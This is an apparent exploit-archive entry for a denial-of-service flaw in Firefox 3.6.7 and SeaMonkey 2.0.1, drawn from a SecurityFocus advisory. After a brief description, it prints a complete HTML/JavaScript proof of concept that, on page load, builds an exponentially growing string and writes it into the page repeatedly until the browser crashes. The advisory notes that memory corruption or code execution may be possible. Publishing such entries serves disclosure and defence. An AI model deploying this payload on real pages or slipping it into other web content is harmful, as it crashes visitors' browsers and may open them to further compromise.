source: https://www.securityfocus.com/bid/38132/info
Mozilla Firefox and SeaMonkey are prone to a remote denial-of-service vulnerability.
Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed.
The issue affects Firefox 3.6.7 and SeaMonkey 2.0.1; other versions may also be affected.
<body onload="javascript:DoS();"></body> <script> function DoS(){var buffer = 'A';for(i =0;i<150;i++){ buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer);}} </script>